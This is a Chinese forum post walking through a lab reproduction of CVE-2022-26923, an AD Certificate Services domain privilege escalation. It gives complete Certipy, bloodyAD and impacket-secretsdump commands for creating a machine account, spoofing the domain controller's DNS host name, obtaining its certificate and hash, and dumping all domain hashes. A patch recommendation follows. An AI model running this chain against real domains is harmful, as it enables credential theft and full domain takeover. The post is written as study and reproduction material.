CVE-2022-26923 Windows域提权漏洞

打印 上一主题 下一主题

主题 917|帖子 917|积分 2751

前言

Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进行管理。
AD CS (Active Directory Certipy Server)是允许你构建公钥基础机构 (PKI) 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色。
漏洞影响范围
  1. Windows 8.1
  2. Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
  3. Windows 11
  4. Windows Server 2008,2012,2016,2019,2022
复制代码
环境搭建
  1. kali ip:192.168.33.131
  2. windows server 2012 ip: 192.168.33.144
复制代码
windows server 2012网络配置,这里想改计算机全名但是忘记了,如果要好记得名字,可以安装域前先改掉


这里用到了windows server 2012的环境,首先搭建windows server 2012的AD域服务和域服务证书,这里安装步骤除了勾选的地方其他默认下一步

点击提升域控制,添加新林,然后下一步还原密码后安装重启



ADCS证书安装,添加功能,勾选AD证书服务,添加web证书颁发,开始安装



配置证书服务,在角色服务勾选证书机构和证书web注册,其他可以一直下一步,这里为了其他配置不一样的读者,就都放出来了,都一样的可以选择跳过











配置成功结果图

创建低权限AD用户,点击AD用户和计算机,点击本地域   ,查找User,双击进入,找到Administrator用户 ,点击左侧新建,新建用户




新建用户test,填写全名,输入密码,勾选其他密码选项,选择密码永不过期和不能更改密码

配置window7网络配置以及加入域,这里加入域xming.com,用户是在域控新建的test,密码是自己在域设置的密码(注:我这里只用到kali 和window server 2012就没多加win7,方便演示,想用win7的老铁可以参考以下win7配置)


kali配置
在kali需要两个工具 Certipy 和bloody
  1. certipy配置
  2. https://github.com/ly4k/Certipy  //工具所在网址
  3. git clone https://github.com/ly4k/Certipy.git
  4. cd Certipy
  5. proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的,也可以用proxychains,如果有的话)
  6. 这里我是直接去github下载再复制到kali,就跳过第二条命令
  7. 由于我这里因为pip没装,所以我又装了pip
  8. pip安装的步骤参考此链接:https://www.cnblogs.com/BlogVice-2203/p/17011741.html
复制代码

这里我遇到的报错是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0

然后再次安装有出现报错,说没有dsinternals,又得pip install dsinternals

如果没有遇到以下报错,就直接执行成功
  1. 配置bloodyAD
  2. https://github.com/CravateRouge/bloodyAD
  3. git clone https://github.com/CravateRouge/bloodyAD.git
  4. cd bloodyAD
  5. proxychains4 pip3 install -r requirements.txt
复制代码


这里报错了,需要下载一个libkrb5-dev包
apt-get install libkrb5-dev


  1. 总结一下上面bloodyAD安装
  2. 先执行apt-get install libkrb5-dev
  3. 再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
  4. 如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号) 如上图所示
  5. 最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。
复制代码

执行python3 bloodyAD.py -h,发现安装成功,到此环境就搭建完成了

漏洞复现
  1. 执行以下代码之前需要运行
  2. pip3 install certipy-ad
  3. 这是我的申请CA证书的poc
  4. certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User
  5. 然后再执行
  6. certipy auth -pfx test.pfx -dc-ip 192.168.33.144
复制代码



创建及其账户到域
  1. 使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
  2. python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144  getObjectAttributes "DC=xming,DC=com"  ms-DS-MachineAccountQuota
  3. 这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4
  4. 没报错且运行出来的老铁可以不改
  5. 使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
复制代码



在LDAP中创建一个机器帐户,然后查看Active Directory 用户和计算机 点击computers 查看到test66是我们创建出来的机器账户
  1. python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
  2. 创建一个test66密码为jntm的机器账户
复制代码


我们更新一下机器帐户的DNSHostName,但是这里出现了一个错误,我排除了一下是我们没有给DNS读取和写入的权限,勾选上两个权限,排除后重新执行就成功了
  1. python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'
  2. python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName
复制代码





我们这里就使用伪造的计算机账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有
根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户

  1. 这里使用的是计算机账户模板(Machine),不再是User
  2. certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug
  3. 生成一个win-ue0s6a9db79.pfx
  4. 这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错
  5. certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144
  6. 这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去)
复制代码



获取所有域中的所有hash
  1. impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79
复制代码

PTH获取域控
  1. ![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)
复制代码


总结与修复建议

总结:该漏洞是由于安装了域证书服务(AD CS),攻击者可以使用计算机账户模板(Machine)创建机器账户,更新dnsname为域控的dnsname,获取所有域hash,进一步拿到域控管理员权限
修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中说到域证书服务和域服务可以不用安装到一台服务器,以规避风险

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

tsx81429

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表